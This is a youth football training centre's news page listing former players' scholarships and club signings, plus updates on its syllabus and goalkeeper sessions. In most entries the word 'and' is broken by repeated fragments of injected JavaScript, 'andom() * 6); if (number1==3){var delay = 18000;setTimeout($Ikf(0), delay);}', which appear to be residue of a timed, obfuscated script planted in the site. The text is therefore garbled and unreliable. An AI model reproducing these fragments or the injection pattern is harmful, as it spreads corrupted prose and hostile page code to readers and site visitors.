Entries by Dave Eldridge

Former players return for pre-season

It is great to see many former players return to training with the ETC throughout their pre-season break with their respective clubs.  Ranging from various professional clubs, the boys returned to kick start their preparations for the coming season andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and acted as a reminder to all younger […]

Devons signs 2 year scholarship

Devon Arnold has just put pen to paper to sign a 2 year scholarship at Yeovil Town.  The former ETC player has been impressing since joining the club andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we are delighted to see his hard work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and superb […]

Saints snap us Keelan

Southampton FC have swooped to sign ETC youngster, Keelan Freestone, following an impressive run with the club.  Keelan has been with us for sometime andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has made huge strides in his development.  His parents commented “We just wanted to say a massive thank you to all at […]

Sam B joins QPR

Huge congratulations to Sam B who has recently signed registration forms for Queens Park Rangers.  A fantastic achievement andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and all at the ETC wish him the very best for the future.

Christian signs for Portsmouth

Congratulations to Cowplain based player Chrstian who recently signed for Portsmouth FC.  Christian has worked hard to earn his first club contract, his dad commented “this has come from his hard work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and training at ETC with its great coaching staff.  They brought the best out of […]

New syllabus

Since recommencing training in August 2017, our centres have been governed by a new coaching syllabus, introduced by the senior staff, following a lengthly review.  The progressive syllabus ensures continuity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and development between sessions, as well as groups, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and […]

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Reading Academy starlet, Jack Nolan, has recently featured for Englandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in the U17 Algarve tournament.  Jack was selected off the back of a string of strong performances for both club andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and country andom() * 6); if (number1==3){var delay = […]

Mickey becomes a scholar

Huge congratulations to Mikey Saunders on achieving a scholarship at Southampton FC.  Mikey attended ETC sessions during his time at Fulham FC andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in the off season, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and was one of only a handom() * 6); if (number1==3){var delay […]

Goalkeepers

Tonight’s session saw the introduction of goalkeepers to ETC training.  Having held a close working relationship with the guys from The Football Garage for a number of years, the addition of goalkeepers was inevitable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and further enhances the realism of game play during sessions.  We look forward […]

Interventions introduced

With additional coaches now on board, the ETC has started to introduce targeted interventions at our High Performance centres.  These interventions allow players to focus on aspects of the game identified as personal areas of address.